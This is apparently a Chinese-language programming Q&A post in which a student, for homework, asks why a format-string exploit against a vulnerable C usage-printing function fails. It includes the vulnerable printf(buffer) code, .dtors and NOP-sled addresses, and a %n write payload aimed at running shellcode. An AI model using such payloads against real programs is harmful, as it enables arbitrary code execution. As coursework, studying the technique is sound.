【发布时间】:2012-05-31 04:52:59
【问题描述】:
所以我有这个功能:
void print_usage(char* arg)
{
char buffer[640];
sprintf(buffer, "Usage: %s [options]\n"
"Randomly generates a password, optionally writes it to /etc/shadow\n"
"\n"
"Options:\n"
"-s, --salt <salt> Specify custom salt, default is random\n"
"-e, --seed [file] Specify custom seed from file, default is from stdin\n"
"-t, --type <type> Specify different encryption method\n"
"-v, --version Show version\n"
"-h, --help Show this usage message\n"
"\n"
"Encryption types:\n"
" 0 - DES (default)\n"
" 1 - MD5\n"
" 2 - Blowfish\n"
" 3 - SHA-256\n"
" 4 - SHA-512\n", arg);
printf(buffer);
}
我希望利用格式字符串漏洞攻击(我的作业)。这是我的尝试:
我有一个漏洞利用程序,它用 noops 和 shell 代码填充缓冲区(我使用这个程序来缓冲溢出相同的函数,所以我知道它很好)。现在,我对文件进行了对象转储以找到 .dtors_list 地址,得到 0x0804a20c,添加 4 个字节得到 0x804a210。
接下来,我使用 gdb 来查找运行程序时我的 noops 开始的地址。使用它我得到了 0xffbfdbb8。
所以到目前为止,我觉得我是对的,现在我知道我想使用格式字符串将 noop 地址复制到我的 .dtors_end 地址中。这是我想出的字符串(这是我作为用户输入提供给函数的字符串):
"\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%%.168u%%1$n%%.51u% %2$n%%.228u%%3$n%%.64u%%4$n"
这对我不起作用。程序正常运行,%s 被我输入的字符串替换(减去前面的小端内存地址,两个百分号现在由于某种原因变成了一个百分号)。
无论如何,我在这里有点难过,任何帮助将不胜感激。
【问题讨论】:
-
printf()将%%格式化为%以便您的输出仍然可以包含 % 符号。 -
哦,那我得用百分号了?
-
相反,如果您希望输出具有
%%,则格式字符串需要具有%%%%。 -
好吧,我并不关心我的输出,我只是希望将这些数字(代表我的 noop 地址)复制到指定的 .dotrs_end。我是一个 C 菜鸟,所以我很确定我在提供的字符串中搞砸了。
标签: c security string-formatting